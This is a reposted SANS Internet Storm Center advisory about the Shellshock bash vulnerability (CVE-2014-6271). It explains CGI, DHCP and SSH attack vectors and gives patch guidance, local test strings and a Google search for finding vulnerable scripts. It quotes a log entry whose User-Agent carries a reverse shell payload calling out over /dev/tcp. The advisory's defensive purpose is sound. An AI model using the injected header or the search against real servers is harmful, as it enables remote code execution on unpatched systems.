HackDig : Dig high-quality web security articles for hacker

Update on CVE-2014-6271: Vulnerability in bash (shellshock), (Thu, Sep 25th)

2014-09-26 00:30

Annoucement from FSF


Resources (will be updated)

DHCP Proof Of Concept

Dr. Chaos's Blog about ShellShock

F5 BIG-IP Exploit Example

F5 DEVCentral on ShellShock

Testing OSX and Patching Bash Yourself

Ubuntu Patch Notes for ShellShock


Yesterday, a vulnerability in bash was announced, that was originally found by Stephane Schazelas. The vulnerability allows for arbitrary code execution in bash by setting specific environment variables. Later Travis Ormandy released a second exploit that will work on patched systems. Demonstration that the patch released yesterday is incomplete.

What is the impact of the vulnerability?

At first, the vulnerability doesn't look all that serious. Executing commands is what bash is used for. But in this case, code can be executed without the user's intent by setting an environment variable.

The most problematic scenario is bash scripts executed via cgi-bin. The CGI specification requires the web server to convert HTTP request headers supplied by the client to environment variables. If a bash script is called via cgi-bin, an attacker may use this to execute code as the web server.

Other, less likely scenarios involve ssh, which can set environment variables, but they would have to be set on the server in a configuration file. DHCP clients may in some cases execute bash scripts and use environment variables supplied by the server. This case may be exploitable if the user connects to an untrusted DHCP server ("cofeehouse wifi").

Should I apply the patch?

Yes. The patch will fix one aspect of the vulnerability. However, the patch is not complete and does not completely fix the vulnerability. We are not aware of any side effects of the patch.

What are my other options? What else should I do?

Since the patch is incomplete, you should try to implement additional measures to protect your systems. Various Intrusion Detection System (IDS) and Web Application Firewall (WAF) vendors have released rules to block exploitation. Realize that these rules may be incomplete as well. Many rules I have seen so far just look for the string "() {" which was present in the original proof of concept exploit, but could easily be changed for example by adding more or different white spaces.

You could switch your default shell to an alternative like ksh or sh. But this,will likely break existing scripts. Different shells use slightly different syntax.

On many embedded systems you may already use an alternative shell ("busybox") that is not vulnerable. 

How do I find vulnerable systems?

If you can log on to the system you can use one of these test strings:

To check if you are patched, you can use the original test string:

env x='() { ;;}; echo vulnerable' sh -c "echo this is a test"

If you are patched, but want to demonstrate that you are still vulnerable, you
can use this command:

env X='() { (a)=>' sh -c "echo date";

This command will return an error on a patched system, but it will still
create an empty file called "echo".

There are various modules for vulnerability scanners to search for vulnerable systems. You can also use a quick Google search for likely vulnerable web servers:
filetype:sh inurl:cgi-bin site:[your domain]
This Google check my return shell scripts that use shells other then bash.

Be careful to check web servers in embedded systems like routers as they may not only run bash scripts, but they may do so at elevated privileges. Many empeded systems use busybox, not bash, and are save. But if bash is used, these systems may be vulnerable.

Are systems already being exploited?

We have seen reports of scans for the vulnerability. The cgi-bin exploit is used very agresively and we already have seen multiple attacks against our own web servers.  

How is exploitation happening?

There are currently 3 different avenues that are being explored as most likely to expose the vulnerability:

HTTP: cgi-bin scripts using bash. They do not necessarily have to use a /cgi-bin/ URL . Different directories can be configured to expose scripts to cgi-bin. This vulnerability is also not limited to Apache. We do see numerous exploit attempts against our own (non-vulnerable) web servers, and are receiving many reports of exploit attempts. For example, here a log entry in which the User-Agent was set to the exploit value: - - [25/Sep/2014:21:24:54 +0000] "GET /iscfavicon.ico HTTP/1.1" 200 1406 "-" "() { :; }; bash -i >& /dev/tcp/ 0>&1" "-"

DHCP: This exploit vector is a tad harder to reach, but can attack clients as well as servers. In Linux, the dhcp clients sets environment variables based on data supplied by the DHCP server. The client then calls various bash scripts to adjust network configurations. A malicious DHCP server may provide crafted data that will then lead to code execution via the bash vulnerability. This is in particularly critical as these scripts are executed as root. 

SSH: In ssh, the user may set environment variables when connecting to an ssh server. These can then be used to bypass shell restrictions imposed on the user.


Johannes B. Ullrich, Ph.D.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Source: ssr;pma&70781=diyrots?lmth.yraid/ude.snas.csi

Read:5675 | Comments:0 | Tags: Vulnerability

“Update on CVE-2014-6271: Vulnerability in bash (shellshock), (Thu, Sep 25th)”0 Comments

Submit A Comment



Blog :

Verification Code:


Share high-quality web security related articles with you:)


Tag Cloud